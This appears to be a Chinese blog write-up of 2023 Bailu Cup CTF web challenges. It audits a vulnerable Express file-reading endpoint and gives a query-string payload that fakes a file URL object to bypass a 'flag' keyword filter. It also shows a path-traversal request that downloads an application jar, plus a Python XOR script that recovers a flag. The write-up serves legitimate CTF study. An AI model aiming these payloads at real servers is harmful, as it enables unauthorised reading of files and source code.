2023柏鹭杯复现-Web

发布时间 2023-11-01 00:07:49作者: 介怀

Web

express fs

考点

任意文件读取

原题,参考链接:https://pankas.top/2022/06/04/corctf2022一道有意思的node题/

现在复现,来研究一下这个题目

首先先审计一下源码

const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 3000;

// 设置静态文件目录
app.use("/static", express.static("static"));

// 中间件:检查请求中是否包含 "flag" 关键词,防止恶意攻击
app.use((req, res, next) => {
  if (
    [req.body, req.headers, req.query].some(
      (item) => item && JSON.stringify(item).includes("flag")
    )
  ) {
    return res.send("臭黑客!"); // 如果包含关键词则返回提示信息
  }
  next();
});

// 处理根路径的 GET 请求
app.get("/", (req, res) => {
  try {
    res.setHeader("Content-Type", "text/html"); // 设置响应头的 Content-Type 为 text/html
    res.send(fs.readFileSync(req.query.file || "index.html").toString()); // 读取指定文件(默认为 index.html)并返回给客户端
  } catch (err) {
    console.log(err);
    res.status(500).send("Internal server error"); // 发生错误时返回 500 状态码和错误信息
  }
});

app.listen(PORT, () => console.log(`express server listening on port ${PORT}`));

这是一个用 node 写的一个简易 web 应用

image-20231031201920981

发送 get 请求查询可以读取指定的文件

image

但是 flag 关键字被 ban 了

image-20231031202036891

由于这里 node 并没有那些伪协议可以绕过关键字,所有能想到的只有原型链污染了,但是这里传参只能污染 req.query.file__proto__,由于它没有与任何东西合并,所以这里不能这么做。

image-20231031202336380

参考 P 神的思路,这里正确的做法是利用 Express 对查询参数的处理来构造一个精心设计的对象来绕过。

测试一下:

const fs = require("fs");
let fileUrl_1 = new URL("file://flag.txt");
let fileUrl_2 = new URL("file://flag.txt");
let buf = Buffer.from("/flag.txt");
console.log(fs.readFilesync(fileUrl_1).toString());
console.log(" -----------------------------");
console.log(fs.readFilesync(fileUrl_2).tostring());
console.log("-----------------------------");
console.log(fs.readFilesync(buf).tostring());

复现 P 神的做法,可以看到file 对象满足如下条件

  1. .href 存在
  2. .origin 存在
  3. .protocol === 'file:'
  4. .hostname === ''
  5. .pathname/app/flag.txt URL 编码的(注意:这需要双 URL 编码,因为 Express 已经 URL 解码一次)

可以得到 payload:

?file[href]=a
&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/app/fl%2561g.txt

渗透

拉去大头师傅的镜像

docker pull ccr.ccs.tencentyun.com/lxxxin/public:blb2023_zht5

考点:

  • 任意文件读,读取配置文件和源代码 jar 包
GET /readfile?filename=../../../../../../app/demo.jar HTTP/1.1
Host: 10.102.40.21:51180
Cookie: JSESSIONID=B524D517443DEF3E58BB92ACB9B805D7

下载下来反编译,flag1 和 O0O 做异或

import base64
from pwn import *
key = b'6925cc02789c1d2552b71acc4a2d48fd'
enc = 'UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA=='
enc = base64.b64decode(enc)
print(enc)
# key = bytes.fromhex(key)
flag = xor(key,enc)
print(flag)
# flag{ISEC-52e353a950c752b3dc8f0d1c949f0361}

参考链接:

https://www.yuque.com/dat0u/ctf/zq1s9k9pgcqfrg0s

https://www.yuque.com/dat0u/ctf/tzslsppdea2qvvn6

https://pankas.top/2022/06/04/corctf2022一道有意思的node题/